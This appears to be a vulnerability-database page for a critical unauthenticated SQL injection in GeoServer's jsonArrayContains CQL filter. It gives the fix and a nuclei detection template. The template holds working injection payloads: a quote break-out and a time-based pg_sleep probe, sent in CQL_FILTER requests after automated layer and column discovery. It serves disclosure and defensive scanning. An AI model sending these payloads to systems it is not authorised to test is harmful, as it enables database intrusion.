HexBrain

Browse / CVEs / CVE-2026-76904

CVE-2026-76904· osgeo / geoserver· CWE-89

GeoServer jsonArrayContains CQL Filter - SQL Injection

criticalseverity
9.8CVSS score
4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoTools FilterToSqlHelper.constructEquality writes the expected argument of the jsonArrayContains CQL function RAW into the SQL string while only escaping the JSON pointer. A single quote in the value parameter breaks out of the PostgreSQL jsonb_path_exists string literal, enabling unauthenticated SQL injection. When the PostGIS backend runs with superuser privileges, the injection escalates to operating system command execution through PostgreSQL COPY TO PROGRAM. Patches are available in GeoTools 33.6 and 34.5. No known workaround is available, so the scope can only be limited by restricting which CQL functions are exposed.

Impact

Successful exploitation allows unauthenticated attackers to execute arbitrary SQL queries against the PostGIS database, potentially leading to full database exfiltration, data manipulation, or remote code execution on the database server via COPY TO PROGRAM.

Fix

Upgrade GeoTools to version 33.6 or 34.5, or a GeoServer release that bundles one of them.

How to confirm it

Send: GET {{ctx}}/web/
Positive when: contains "GeoServer"
Send: GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetCapabilities
Positive when: contains "FeatureType"
Send: GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=1&outputFormat=csv
Positive when: contains "FID"
Send: GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%27%27%27)%20=%20true
Positive when: contains "PSQLException" or "SQL SELECT" or "jsonb_path_exists" or "syntax error" AND contains in header "text/xml"
Send: @timeout: 30s
Positive when: duration>=6

Run it with nuclei: nuclei -id CVE-2026-76904 -u <target>

The full check
id: CVE-2026-76904

info:
  name: GeoServer jsonArrayContains CQL Filter - SQL Injection
  author: portbuster1337,DhiyaneshDk
  severity: critical
  description: |
    GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoTools FilterToSqlHelper.constructEquality writes the expected argument of the jsonArrayContains CQL function RAW into the SQL string while only escaping the JSON pointer. A single quote in the value parameter breaks out of the PostgreSQL jsonb_path_exists string literal, enabling unauthenticated SQL injection. When the PostGIS backend runs with superuser privileges, the injection escalates to operating system command execution through PostgreSQL COPY TO PROGRAM. Patches are available in GeoTools 33.6 and 34.5. No known workaround is available, so the scope can only be limited by restricting which CQL functions are exposed.
  impact: |
    Successful exploitation allows unauthenticated attackers to execute arbitrary SQL queries against the PostGIS database, potentially leading to full database exfiltration, data manipulation, or remote code execution on the database server via COPY TO PROGRAM.
  remediation: |
    Upgrade GeoTools to version 33.6 or 34.5, or a GeoServer release that bundles one of them.
  reference:
    - https://gist.github.com/portbuster1337/70d75ec246b85e3199037ce212ff1a06
    - https://nvd.nist.gov/vuln/detail/CVE-2026-76904
    - https://github.com/geotools/geotools/commit/d821c4d321dd91c22e31fcd5b1ce676645da5176
    - https://github.com/geotools/geotools/pull/5829
    - https://github.com/geotools/geotools/releases/tag/33.6
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-76904
    cwe-id: CWE-89
    epss-score: 0.03976
    epss-percentile: 0.90572
    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 6
    vendor: osgeo
    product: geoserver
    shodan-query:
      - title:"geoserver"
      - http.title:"geoserver"
    fofa-query:
      - title="geoserver"
      - app="geoserver"
    google-query: intitle:"geoserver"
  tags: cve,cve2026,geoserver,sqli,jsonarraycontains,postgresql,osgeo,vkev

flow: |
  set("ctx", "/geoserver");
  http("detect");
  if (!template["geoserver_detected"]) {
    set("ctx", "");
    http("detect");
  }
  if (template["geoserver_detected"]) {
    http("capabilities");
    for (var name of iterate(template["feature_names"])) {
      set("name", name);
      set("column", "");
      http("get-column");
      if (template["column"]) {
        if (http("sqli-verify")) {
          break;
        }
        if (http("sqli-time")) {
          break;
        }
      }
    }
  }

http:
  - id: detect
    raw:
      - |
        GET {{ctx}}/web/ HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: word
        words:
          - "GeoServer"
        internal: true

    extractors:
      - type: regex
        name: geoserver_detected
        regex:
          - '(GeoServer)'
        group: 1
        internal: true
        part: body

  - id: capabilities
    raw:
      - |
        GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        words:
          - "FeatureType"
        internal: true

    extractors:
      - type: regex
        name: feature_names
        regex:
          - '(?s)<FeatureType[^>]*>\s*<Name>([^<]+)</Name>'
        group: 1
        internal: true
        part: body

  - id: get-column
    raw:
      - |
        GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=1&outputFormat=csv HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "FID"
        internal: true

    extractors:
      - type: regex
        name: column
        regex:
          - 'FID,([a-zA-Z_][a-zA-Z0-9_]*)'
        group: 1
        internal: true
        part: body

  - id: sqli-verify
    raw:
      - |
        GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%27%27%27)%20=%20true HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PSQLException"
          - "SQL SELECT"
          - "jsonb_path_exists"
          - "syntax error"
          - "unterminated quoted string"
        condition: or

      - type: word
        part: header
        words:
          - "text/xml"

    extractors:
      - type: dsl
        name: matched_feature
        dsl:
          - "name"
      - type: kval
        kval:
          - content_type

  - id: sqli-time
    raw:
      - |
        @timeout: 30s
        GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%22)%27%27)%20AND%20(SELECT%20pg_sleep(6))%20IS%20NOT%20NULL%20)--%27)%20=%20true HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"

    extractors:
      - type: dsl
        name: matched_feature
        dsl:
          - "name"

References

Use this check only on systems you are authorised to test. Where the data comes from